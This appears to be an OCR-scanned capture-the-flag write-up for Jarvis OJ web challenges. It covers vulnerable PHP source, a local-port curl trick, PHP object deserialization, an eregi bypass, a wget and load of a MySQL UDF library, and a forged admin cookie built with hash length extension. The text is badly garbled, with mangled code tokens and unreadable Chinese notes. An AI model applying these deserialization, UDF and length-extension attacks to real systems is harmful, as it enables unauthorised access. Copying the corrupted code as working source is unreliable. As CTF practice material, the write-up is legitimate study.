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PORT51

3 H 5532 http://web.jarvisoj.com:32770/
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Please use port 51 to visit this site.
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1 curl --local-port 51 http://web.jarvisoj.com:32770/
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LOCALHOST
BEANO: http://web.jarvisoj.com:32774/
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localhost access only!!
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<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
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<?php
$f = 8_GET['img'];
if (lempty($f)) {
$f = base64_decode($f);

1f (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f, '\\')===FALSE
&& stripos($f, 'pctf')===FALSE) {

readfile($f);
} else {

echo "File not found!";

}
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FiL— Findex.php.

<?php
require_once( 'shield.php');
$x = new Shield();
isset($ _GET['class']) && $g = $ GET['class'];
if (lempty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
2>

FiEshield.php
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<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
1

function readfile() {
if (!empty($this->file) & stripos($this->file,'.."')===FALSE
&& stripos($this->file, '/')===FALSE && stripos($this->file, '\\"')==FALSE) {
return @file_get_contents($this->file);
}
}
}
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function __construct($filename =") {
$this -> file = $filename;

}
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<?php

error_reporting(0);

"

echo "<!--index.phps-->";
1f(!$_GET['id'])
{
header( 'Location: index.php?id=1");
exit();
}
$id=$_GET['id'];
$a=$% GET['a'];
$b=$_GET['b'];
if(stripos($a, '."'))
{
echo 'Hahahahahaha';

return ;

}

$data = @file_get _contents($a, 'r');

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and
substr($b,0,1)!=4)

{
require("flag.txt");

}

else

{

print "work harder!harder!harder!";

}
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postW%: "1112 is a nice lab!"
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cp udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin
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sudo wget https://dn.jarvisoj.com/challengefiles/udf.s0.02f8981200697e5eeb661e64797fc172
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mysql> create function help _me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172";
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select help_me();
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mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172";
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select getflag();
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<IDOCTYPE htm|>

<html>

<head>

<title>Web 350<ftitle>

<style type="text/css">

body {

background.gray;

text-align:center;

}

</style>

<head>

<body>

<I-?php

$auth = false;

$role = "guest”;

$salt =

if (isset($_COOKIE["role"])) {

$role = unserialize($_COOKIE["role"]);
Shsh =$ COOKIE["hsh"];

if ($role==="admin" && $hsh === md5($salt strrev($_COOKIE["role"])) {
Sauth = true;

}else{

Sauth = false;

}

}else{

$s = serialize($role);

setcookie('role’, $s);

$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);

}

if ($auth) {

echo "<h3-->Welcome Admin. Your flag is } else { echo &quot;
<h3>Only Admin can see the flag!l</h3>&quot;; } ?&gt;
</body>

</html>
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FAERBKINE: ;"tseug":5:s

HERNKAZ: ;"nimda":5:s

Fhashfii: 3a4727d57463122833d9e732f94e4e0
LK —AN KA saltKE

X B EEHBlhashpump, saltf]IEER KRB, ERWOT
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role = s%3a5%3a"admin"%3b%00%00%00%007%007%00%00%C07%007%00%00%007%007%00%00%007%007%00%00%007%007%00%00%007%007%00%00%
hsh = fcdc3840332555511c4e4323f6decbd?7
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